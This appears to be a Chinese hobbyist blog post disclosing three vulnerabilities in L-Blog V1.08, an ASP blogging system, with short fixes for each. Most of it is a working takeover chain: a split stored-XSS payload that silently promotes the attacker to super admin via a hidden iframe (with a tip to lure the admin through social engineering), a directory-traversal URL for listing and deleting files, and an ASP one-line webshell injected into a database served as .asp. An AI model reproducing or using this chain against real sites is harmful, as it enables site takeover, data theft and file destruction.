L-Blog是由 Loveyuki 自主开发的基于 ASP+Access 的小型单用户BLOG,好像网上用的比较多,主要是免费的(呵呵,向Loveyuki致敬)。昨天寝室断网了,闲着没事干,就把以前下载的L-Blog V1.08 (SE) Final版本拿来看,结果还真发现了几个问题。
1、L-Blog Cross-Site Scripting Vulnerability
这是个跨站漏洞,好像HaK_BaN很早就发现并通知了官方,所以问题已经修复。但是我下的那个版本却存在,所以还是要写出来J
问题存在于申请友情链接那里,对提交的网站名称没有进行HTML编码就直接写入数据库,管理员浏览读出的时候也没有进行编码,造成跨站脚本漏洞。
怎么利用呢,盗管理员Cookies?太麻烦,其实可以直接用javascript把页面转向到提升一般用户为超级管理员的链接。
呵呵,那就注册个帐号先,然后记住帐号的id,然后构造语句咯。
先看看把一般用户提升成超级管理员的链接,http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,嗯我们可以提交<script>location.href=” admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin”</script>达到转向的目的。参数memID就是你要提升权限的用户id,这里我的id是2。
且慢,这里有两个问题,第一是数据库Blog_links表里的Link_Name字段最多放50个字符;第二是如果转向管理员会发现不对劲哦。所以要用拆分字符分次提交,而且使用框架让管理员看不到。
算了一下,至少要分四次提交,看exploit:
<script>a="<iframe src=admincp.asp?actio"</script>
<script>a+="n=member&type=editmem&memID="</script>
<script>a+="2&memType=SupAdmin width="</script>
<script>a+="0 height=0>";document.write(a);</script>
呵呵,然后就等着管理员去看链接验证咯。要是等不及了可以想办法让他去看,看你的社会工程学水平了。
漏洞修补问题,最简单就是去官方下补丁。
2、L-Blog File List / Delete with SuperAdmin Vulnerability
通过前面的漏洞我们可以成为blog管理员,现在我们得想办法拿webshell啊。呵呵,这个时候用这个漏洞最好不过了。好像还没人公布的说。
在附件管理选浏览all_files里的文件,看它的URL:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=All_Files,嘿嘿问题就出在参数foldername,没有过滤.和/,那就可以跨目录的哦。用这个url看看http://localhost/L-Blog/admincp.asp?action=attachment&foldername=..,呵呵,怎么样,blog根目录文件出来了,可以随便删除文件的哦。
利用这个漏洞我们可以任意查看网站各目录的文件,不过你要猜到文件夹才能浏览,L-Blog的数据库放在blogdata下,看看咯:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=../blogdata
如果它的数据库是mdb,那就下载之,如果改成了asp/asa,那就请你看第三个漏洞哈。
这个漏洞的修复就是修改文件admincp.asp,只要把变量Request.QueryString("filename")里的“.”过滤就行了。
3、L-Blog .asp/.asa DataBase Execute ASP Code Vulnerability
L-Blog的默认数据库名字是L-Blog.mdb,但是很多站长应该会改名称和后缀,一般改为asp或者asa,呵呵,如果改了,那站就完咯。
L-Blog.mdb里面有一个貌似防下载的表aNotDownload,其实一点用都没有,就算你改了后缀照样可下载。当然不去下载它,我是要拿webshell。
现在就要向数据库写小马咯。
随便找个没有过滤html编码的地方,就找修改一般设置,Blog名称,填<%execute(request("x"))%>,然后再访问数据库,看看是不是有类型不匹配错误,ok,搞定!
漏洞的修复也简单,随便找个动网的数据库,找到notdown表导出到L-Blog的数据库中,呵呵,然后你再访问数据库试试。世界清静了……